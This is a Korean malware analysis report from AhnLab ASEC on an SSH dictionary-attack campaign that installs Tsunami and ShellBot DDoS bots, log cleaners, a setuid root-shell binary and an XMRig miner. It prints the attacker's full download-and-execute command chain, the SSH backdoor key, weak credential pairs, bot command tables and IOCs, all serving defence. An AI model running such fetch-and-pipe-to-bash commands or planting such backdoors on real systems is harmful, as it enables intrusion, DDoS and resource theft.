AhnLab Security Emergency response Center(ASEC)에서는 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 Tsunami DDoS Bot을 설치하고 있는 공격 캠페인을 확인하였다. 공격자는 Tsunami뿐만 아니라 ShellBot, XMRig 코인 마이너, Log Cleaner 등 다양한 악성코드들을 설치하였다.
부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격 사례를 보면 일반적으로 DDoS Bot이나 코인 마이너 악성코드를 설치하는 사례가 대부분을 차지하고 있다. DDoS Bot의 경우 과거 ASEC 블로그에서 ShellBot [1], ChinaZ DDoS Bot [2] 악성코드를 설치하는 공격 사례를 소개한 바 있으며, XMRig 코인 마이너를 설치하는 공격 사례는 SHC 악성코드 [3] 공격 사례와 KONO DIO DA 공격 캠페인에서 [4] 함께 소개한 바 있다.
Tsunami는 Kaiten이라고도 불리는 DDoS Bot이며, 일반적으로 취약한 IoT 장비들을 대상으로 Mirai 및 Gafgyt와 함께 꾸준히 유포되고 있는 악성코드들 중 하나이다. [5] 모두 DDoS 봇이라는 공통점이 있지만 Tsunami는 다른 것들과 달리 IRC를 이용해 공격자와 통신하는 형태의 IRC 봇이라는 점이 특징이다.
Tsunami는 소스 코드가 공개되어 있어 다양한 공격자들에 의해 사용되고 있는데 가장 많은 비율을 차지하는 것은 IoT 장비들에 대한 공격에서이다. 물론 이외에도 리눅스 서버를 대상으로 하는 공격에도 꾸준히 사용되고 있으며, 공개된 도커 컨테이너에 XMRig 코인 마이너와 함께 Tsunami 악성코드가 포함되어 유포되는 사례처럼 클라우드 환경을 대상으로도 유포된 사례가 확인된다. 참고로 비공식적으로 배포되는 도커 컨테이너에 악성코드를 함께 포함하여 유포하여 유포하는 형태는 대표적인 공격 벡터 중 하나이다.
여기에서는 공격자가 부적절하게 관리되고 있는 SSH 서버를 대상으로 사전 공격을 감행하여 로그인한 이후 DDoS Bot 및 XMRig 코인 마이너 악성코드를 설치한 사례를 정리한다.
1. 리눅스 SSH 서버 대상 사전 공격
리눅스 서버와 같이 서버 환경을 대상으로 하는 공격 벡터로는 대표적으로 부적절하게 관리되고 있는 서비스가 있다. Secure Shell(SSH) 서비스는 대부분의 리눅스 서버 환경에 설치되어 있으면서 쉽게 공격에 사용 가능하고, 부적절하게 관리되기 쉬운 서비스이다. SSH는 관리자가 원격에서 로그인하여 시스템을 제어할 수 있게 해주는데, 이를 위해 시스템에 등록된 사용자 계정에 로그인할 필요가 있다.
만약 리눅스 시스템에 단순한 형태의 계정 정보 즉 ID / PW가 사용된다면 공격자는 무차별 대입 공격이나 사전 공격을 통해 이러한 시스템에 로그인하여 악의적인 명령을 실행할 수 있다. 실제로 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격에는 포트 스캐닝을 통해 외부에 공개된 SSH 서버를 찾고 알려진 계정 정보들을 이용해 사전 공격을 수행하여 로그인한 이후 악성코드를 다운로드해 설치하는 방식이 주된 공격 방식이다.
다음 표에서는 해당 공격 캠페인에 사용된 공격자의 주소와 ID / PW 목록들 중 일부를 정리한다.
ID | Password | 공격자 |
---|---|---|
admin | qwe123Q# | 124.160.40[.]48 |
sxit | sxit | 124.160.40[.]94 |
root | abcdefghi | 124.160.40[.]94 |
root | 123@abc | 124.160.40[.]94 |
weblogic | 123 | 124.160.40[.]94 |
rpcuser | rpcuser | 124.160.40[.]94 |
test | p@ssw0rd | 124.160.40[.]94 |
nologin | nologin | 124.160.40[.]94 |
Hadoop | p@ssw0rd | 124.160.40[.]94 |
hxw | test123 | 124.160.40[.]94 |
backlog | backlog | 124.160.40[.]94 |
dell | 123 | 124.160.40[.]94 |
2. 공격 흐름
로그인에 성공한 이후 공격자는 다음과 같은 명령을 실행해 다양한 악성코드를 다운로드하고 실행한다.
# nvidia-smi –list-gpus | grep 0 | cut -f2 -d: | uniq -c;nproc;ip a | grep glo;uname -a;cd /tmp;wget -O – ddoser[.]org/key|bash;cd /var/tmp;wget ddoser[.]org/a;chmod +x a;./a;wget ddoser[.]org/logo;perl logo irc.undernet.org 6667 -bash;rm -rf logo;wget ddoser[.]org/top;tar -zxvf top;rm -rf top;cd lib32;./go > /dev/null 2>&1 &
설치되는 악성코드들 중 “key” 파일은 추가적으로 악성코드를 설치하는 다운로더 유형의 Bash 스크립트이다. 다운로드 외에도 감염 시스템을 제어하기 위해 다양한 사전 작업들을 수행하며 SSH 백도어 계정을 설치하는 기능도 포함되어 있다.

SSH 원격 서버에 로그인하는 방식은 ID / PW를 입력하는 방식 외에도 공개키 / 개인키를 생성하여 ID / PW 입력 없이 로그인하는 방식이 있다. 이를 위해 사용자는 SSH 공개키 / 개인키를 생성한 후 접속 대상 서버에 공개키를 등록하며, 이후 클라이언트에서 개인키를 이용해 접속할 수 있다. 공격자는 해당 명령을 이용해 새롭게 다음과 같은 공개키를 “authorized_keys” 파일에 쓴다. 이에 따라 추후 해당 공개키에 상응하는 개인키를 이용해 감염 시스템에 로그인할 수 있다.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9hVz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqoAoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD
로그인 이후 실행한 명령과 다운로더 Bash 스크립트를 통해 설치되는 악성코드들을 정리하면 다음과 같다. 아래에서는 각각의 악성코드 유형별로 분석한 내용을 정리한다.
다운로드 주소 | 악성코드 |
---|---|
ddoser[.]org/key | Downloader Bash |
ddoser[.]org/logo | ShellBot DDoS Bot |
ddoser[.]org/siwen/bot | ShellBot DDoS Bot |
ddoser[.]org/siwen/a | Tsunami DDoS Bot |
ddoser[.]org/siwen/cls | MIG Logcleaner v2.0 |
ddoser[.]org/siwen/clean | 0x333shadow Log Cleaner |
ddoser[.]org/siwen/ping6 | 권한 상승 악성코드 |
ddoser[.]org/top | XMRig CoinMiner (압축 파일) |
3. 악성코드 분석
3.1. Tsunami
Tsunami는 Kaiten이라고도 불리는 DDoS Bot 악성코드로서 소스 코드가 공개되어 있음에 따라 다양한 공격자들에 의해 사용되고 있다. 공격자들은 기존 kaiten의 소스 코드를 수정해 더 많은 기능을 추가하기도 하는데, 공격에 사용된 Tsunami는 Ziggy라고 이름 붙여진 Kiaten의 변종들 중 하나이다. 실제 help 명령에서 보여주는 설명들을 비교해 보면 소스 코드와 동일하다.

Tsunami 바이너리에 포함되어 있는 설정 데이터를 확인해 보면 공격자가 “ddoser – v0.69”라는 이름을 붙인 것을 알 수 있다.

Tsunami의 특징 중 하나라고 한다면 C&C 서버와의 통신에 IRC 프로토콜을 이용한다는 점이 있다. IRC는 1988년 개발된 실시간 인터넷 채팅 프로토콜이다. 사용자들은 특정 IRC 서버의 특정 채널에 접속해 동일한 채널에 접속한 다른 사용자들과 실시간으로 채팅을 할 수 있다. IRC 봇은 이러한 IRC를 악용하여 C&C 서버와의 통신에 사용하는 봇 악성코드이다.
감염 시스템에 설치된 IRC 봇은 IRC 프로토콜에 따라 공격자가 지정한 IRC 서버의 채널에 접속하며 이후 탈취한 정보를 해당 채널에 전달하거나 공격자가 특정 문자열을 입력할 경우 이를 명령으로 전달받아 이에 상응하는 악성 행위를 수행할 수 있다. 추가적인 C&C 서버 및 프로토콜을 개발할 필요 없이 이미 존재하는 IRC 프로토콜을 이용하고 기존 IRC 서버를 활용할 수 있다는 점에서 IRC는 과거부터 꾸준히 악성코드들에 의해 사용되어 왔다.
Tunami는 실행되면 “/etc/rc.local” 파일에 자신의 경로를 써서 재부팅 이후에도 실행될 수 있도록 한다. 이후 현재 실행 중인 프로세스의 이름을 “[kworker/0:0]”로 변경하려고 시도하는데 이는 정상 프로세스와 유사한 이름임에 따라 사용자가 인지하기 어렵도록 하는 목적에서이다. 여기까지의 과정이 끝나면 IRC 서버에 접속하고 채널에 입장하여 공격자의 명령을 대기한다.
참고로 C&C 서버의 주소나 채널의 비밀번호 등의 정보들은 암호화되어 저장되어 있다. Tsunami는 실행 중 필요한 문자열들을 복호화하여 구한다. C&C 서버의 주소는 2개이며 랜덤하게 선택되어 접속을 시도한다.

C&C 서버 주소를 포함한 다양한 설정 데이터를 정리하면 다음과 같다. 참고로 IRC 서버에 입장할 때 사용되는 닉네임(Nick)은 랜덤한 문자열이 사용된다.
설정 | 데이터 |
---|---|
버전 | ddoser – v0.69 |
아키텍처 | x86_64 |
위장 이름 | [kworker/0:0] |
C&C 서버 (IRC) | ircx.us[.]to:53 ircxx.us[.]to:53 |
IRC 채널 이름 | ddoser |
IRC 채널 비밀번호 (enc_passwd) | bakla |
활성화 / 비활성화 비밀번호 | null |
다운로드 목적의 기본 HTTP 서버 주소 | localhost (비활성화) |

Tsunami는 기본적인 IRC 명령들 외에 다양한 DDoS 공격 명령들을 지원한다. 또한 시스템 정보 수집이나 명령 실행, 리버스 쉘과 같은 감염 시스템을 제어할 수 있는 기능들도 제공한다.
분류 | 명령 | 기능 |
원격 제어 | SYSINFO | 시스템 정보 (CPU, 메모리, 네트워크 정보. OS 버전. 로그인 사용자. Uptime.) |
GET | 외부에서 파일 다운로드 | |
UPDATE | 봇 업데이트 | |
ENABLE / DISABLE | 봇 활성화 / 비활성화 (비밀번호 필요) | |
SH / ISH / SHD / BASH | 쉘 명령 실행 | |
RSHELL | 리버스 쉘 | |
KILL | 종료 | |
DDoS 공격 | PAN / SYNFLOOD / NSSYNFLOOD | SYN Flood |
ACKFLOOD / NSACKFLOOD | Ack Flood | |
RANDOMFLOOD | Syn/Ack Flooder | |
UDP | UDP Flood | |
UNKNOWN | Non-spoof UDP Flood | |
SPOOFS | DDoS 공격 시 주소 위장 | |
GETSPOOFS | DDoS 공격 시 사용되는 위장 주소 반환 | |
KILLALL | 공격 종료 |
3.2. ShellBot
최초 실행 명령과 Bash 다운로더 “key”를 통해 설치된 “bot”과 “logo”는 실질적으로 동일한 ShellBot 악성코드이다. ShellBot은 Perl로 개발된 DDoS Bot으로서 Tsunami와 유사하게 IRC 프로토콜을 사용하는 IRC Bot이기도 하다. 과거 ASEC에서는 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격에 사용되고 있는 ShellBot 악성코드들을 분류 및 분석하여 블로그에 공개한 바 있다. [6] 현재 공격에 사용된 ShellBot은 이전 블로그에서 다룬 유형들과는 동일하지는 않지만 실질적으로 유사한 ShellBot 변종들 중 하나이다.
공격에 사용된 ShellBot들은 모두 C&C 서버 주소와 포트 번호를 인자로 받아서 동작하는 형태이다. 다음은 공격에 사용된 C&C 서버 주소들의 목록이다.
ShellBot | IRC 서버 주소 |
---|---|
logo | irc.undernet[.]org:6667 |
bot | ircx.us[.]to:6667 |
bot | irc.dal[.]net:6667 |
bot | irc.undernet[.]org:6667 |
bot | ircx.us[.]to:20 |
다른 ShellBot들처럼 닉네임은 보유하고 있는 리스트들 중 하나를 선택해서 사용하며, 채널에서 명령을 내리기 위해서는 채널에 입장한 관리자 즉 공격자의 닉네임과 호스트 주소를 검증한다. IRC 채널의 이름은 Tsunami 악성코드와 동일하게 “#ddoser”이 사용된다.

ShellBot | 설정 | 데이터 |
---|---|---|
동일 | 채널 이름 | ddoser, #packeter |
동일 | 채널 비밀번호 | s6x |
동일 | 닉네임 | 다수 |
bot | 채널 관리자의 닉네임 | “Janroe”,”thief”,”eXploiter”,”Bolero”,”Janr0e”,”nobody” |
logo | 채널 관리자의 닉네임 | “Janroe”,”thief”,”eXploiter”,”emperor”,”nobody” |
bot | 채널 관리자의 호스트 | “exploiter.users.undernet[.]org”, “Janroe.users.undernet[.]org”, “ddoser.users.undernet[.]org”, “ddoser[.]de”,”ddoser[.]org” |
logo | 채널 관리자의 호스트 | “exploiter.users.undernet[.]org”, “theft.users.undernet[.]org”, “Janroe.users.undernet[.]org”, “ddoser[.]org”,”ddoser[.]de” |
ShellBot은 포트 스캔과 기본적인 DDoS 공격 그리고 리버스 쉘 명령을 지원한다.
명령 | 기능 |
---|---|
portscan | 포트 스캔 |
udpflood | UDP Flood |
tcpflood | TCP Flood |
httpflood | HTTP Flood |
back | 리버스 쉘 |
3.3. Log Cleaner
공격자가 설치한 악성코드들 중에는 Log Cleaner 악성코드들이 존재한다. 리눅스 서버 환경에는 사용자 또는 공격자의 행위를 기록하는 로그 파일들이 종류 별로 존재한다. Log Cleaner는 이러한 로그 파일들을 대상으로 특정 로그를 삭제하거나 수정할 수 있는 기능을 갖는 도구이다. 공격자는 추후 침해 사고 분석 시 이를 방해하기 위한 목적으로 사용하기 위해 Log Cleaner를 설치한 것으로 추정된다.
설치된 파일들 중 “cls”는 “MIG Logcleaner v2.0”이며, “clean”은 “0x333shadow Log Cleaner”이다. 먼저 MIG LogCleaner는 다음과 같이 다양한 옵션을 인자로 받아 리눅스, 유닉스, BSD 시스템에서 원하는 로그들을 제거할 수 있다.

인자 | 설명 |
---|---|
[-u <user>] | 사용자 이름 |
[-n <n>] | 제거할 엔트리 개수. 디폴트로 1개이며, 0일 경우 전체. |
[-D <dir>] | 기준 로그 디렉터리 (디폴트로는 /var/log/) |
[-a <string1>] | 로그 디렉터리 내의 파일에서 제거할 IP 문자열 |
[-b <string2>] | 로그 디렉터리 내의 파일에서 제거할 도메인 문자열 |
[-R] | 대체 모드. |
[-A] | 추가 모드. |
[-U <user>] | 대체 및 추가 모드에서 변경 또는 추가할 사용자 이름. |
[-H <host>] | 대체 및 추가 모드에서 변경 또는 추가할 호스트 이름. |
[-I <n>] | 대체 및 추가 모드에서 변경 또는 추가할 로그인 시간. |
[-O <n>] | 대체 및 추가 모드에서 변경 또는 추가할 로그아웃 시간. |
[-T <tty>] | 추가 모드에서 추가할 tty. |
[-d] | 디버그 모드로 실행 |
리눅스 환경에서 로그인한 사용자와 관련된 로그 파일들은 다음과 같으며 공격자들은 해당 로그 파일들을 조작하여 로그인 기록을 삭제하거나 변경할 수 있다.
위치 | 내용 | 명령어 | |
---|---|---|---|
utmp | /var/run/utmp (Linux) /var/adm/utmpx (Solaris) | 현재 로그인한 사용자의 정보 | w, who, finger |
wtmp | /var/log/wtmp (Linux) /var/adm/wtmpx (Solaris) | 로그인 / 로그아웃 정보 | last |
last log | /var/log/lastlog (Linux) /var/adm/lastlog (Solaris) | 마지막으로 성공한 로그인 정보 | lastlog (Linux) finger (Solaris) |
MIG LogCleaner를 이용하면 다양한 로그 파일들을 조작할 수 있다. 예를 들어 특정 문자열이 포함된 라인을 삭제하거나 문자열을 교체할 수 있으며 새롭게 문자열을 추가할 수도 있다. 예를 들어 다음과 같은 명령을 이용해 로그인 기록을 추가할 수 있다.

함께 설치된 “0x333shadow Log Cleaner” 또한 실질적으로 동일한 기능을 수행한다.

3.4. 권한 상승 악성코드
“ping6” 파일은 다음과 같이 매우 간단한 형태의 ELF 악성코드이다. setuid() 함수와 setgid() 함수를 이용해 사용자 ID와 그룹 ID를 root 계정 것으로 설정하고 쉘을 실행한다.

“key” Bash 스크립트는 “ping6”를 설치한 이후 setuid를 설정하였다. 만약 만약 root 계정으로 로그인에 성공하였고 이때 “key” Bash 스크립트가 root 계정으로 설치되었다면 공격자는 이후 “ping6”를 이용해 root 권한의 쉘을 사용할 수 있게 된다.

3.5. XMRig 코인 마이너
해당 공격 캠페인에서는 DDoS Bot 외에 코인 마이너 악성코드도 함께 설치된다. 사전 공격을 통한 로그인 이후 실행된 명령에서는 tar 압축 파일을 다운로드 및 압축 해제하고 내부에 존재하는 “go” 파일을 실행하였다. “go”는 간단한 Bash 스크립트로서 동일 경로에 위치한 “televizor” 파일을 실행한다. ‘televizor”는 마찬가지로 Bash 스크립트이며 다시 “telecomanda” Bash 스크립트를 실행하고 최종적으로 XMRig 코인 마이너인 “cnrig”가 실행된다.

코인 마이닝에 필요한 설정 데이터는 동일한 경로에 존재하는 “config.json” 파일이 가지고 있다.
- Mining Pool : monerohash[.]com:80
- user : “46WyHX3L85SAp3oKu1im7EgaVGBsWYhf7KxrebESVE6QHA5vJRab6wF1gsVkYwJfnNV2KYHU1Xq2A9XUYmWhvzPf2E6Nvse”
- pass : “nobody”
4. 결론
부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격은 과거부터 꾸준히 진행되고 있다. 공격자는 감염 시스템에 Tsunami, ShellBot과 같은 DDoS Bot과 함께 XMRig 코인 마이너를 설치하였다.
코인 마이너가 설치된 환경에서는 시스템의 자원을 이용해 공격자의 모네로 코인을 채굴하게 된다. 이외에도 함께 설치된 DDoS Bot을 이용해 DDoS 공격에도 활용될 수 있으며 추가적인 악성 명령을 실행할 수도 있다. 이러한 악성코드들이 제거되었다고 하더라도 공격자는 함께 설치한 SSH 백도어 계정을 이용해 다시 로그인하여 또 다른 악성코드를 설치하거나 시스템 내의 정보를 탈취하는 등 다양한 악성 행위를 수행할 수 있다.
이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.
파일 진단
– Linux/CoinMiner.Gen2 (2019.07.31.08)
– Linux/Tsunami.Gen (2016.08.24.00)
– Shellbot/Perl.Generic.S1118 (2020.02.19.07)
– Downloader/Shell.Agent.SC189601 (2023.06.12.02)
– HackTool/Linux.LogWiper.22272 (2023.06.12.02)
– HackTool/Linux.LogWiper.28728 (2023.06.12.02)
– Trojan/Linux.Agent.8456 (2023.06.12.02)
– Trojan/Shell.Runner (2023.06.12.02)
– CoinMiner/Text.Config (2023.06.12.02)
IOC
MD5
– 6187ec1eee4b0fb381dd27f30dd352c9 : 다운로더 Bash 스크립트 (key)
– 822b6f619e642cc76881ae90fb1f8e8e : Tsunami (a)
– c5142b41947f5d1853785020d9350de4 : ShellBot (bot)
– 2cd8157ba0171ca5d8b50499f4440d96 : ShellBot (logo)
– 32eb33cdfa763b012cd8bcad97d560f0 : MIG Logcleaner v2.0 (cls)
– 98b8cd5ccd6f7177007976aeb675ec38 : 0x333shadow Log Cleaner (clean)
– e2f08f163d81f79c1f94bd34b22d3191 : 권한 상승 악성코드 (ping6)
– 725ac5754b123923490c79191fdf4f76 : Bash 런쳐 (go)
– ad04aab3e732ce5220db0b0fc9bc8a19 : Bash 런쳐 (televizor)
– 421ffee8a223210b2c8f2384ee6a88b4 : Bash 런쳐 (telecomanda)
– 0014403121eeaebaeede796e4b6e5dbe : XMRig 코인 마이너 (cnrig)
– 125951260a0cb473ce9b7acc406e83e1 : XMRig 설정 파일 (config.json)
C&C
– ircx.us[.]to:20 : ShellBot
– ircx.us[.]to:53 : Tsunami
– ircx.us[.]to:6667 : ShellBot
– ircxx.us[.]to:53 : Tsunami
다운로드 주소
– ddoser[.]org/key : 다운로더 Bash 스크립트
– ddoser[.]org/a : Tsunami
– ddoser[.]org/logo : ShellBot
– ddoser[.]o]rg/siwen/bot / ShellBot DDoS Bot
– ddoser[.]org/top : XMRig 코인 마이너 압축 파일
– ddoser[.]org/siwen/cls : MIG Logcleaner v2.0
– ddoser[.]org/siwen/clean : 0x333shadow Log Cleaner
– ddoser[.]org/siwen/ping6 : 권한 상승 악성코드
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.
Categories:악성코드 정보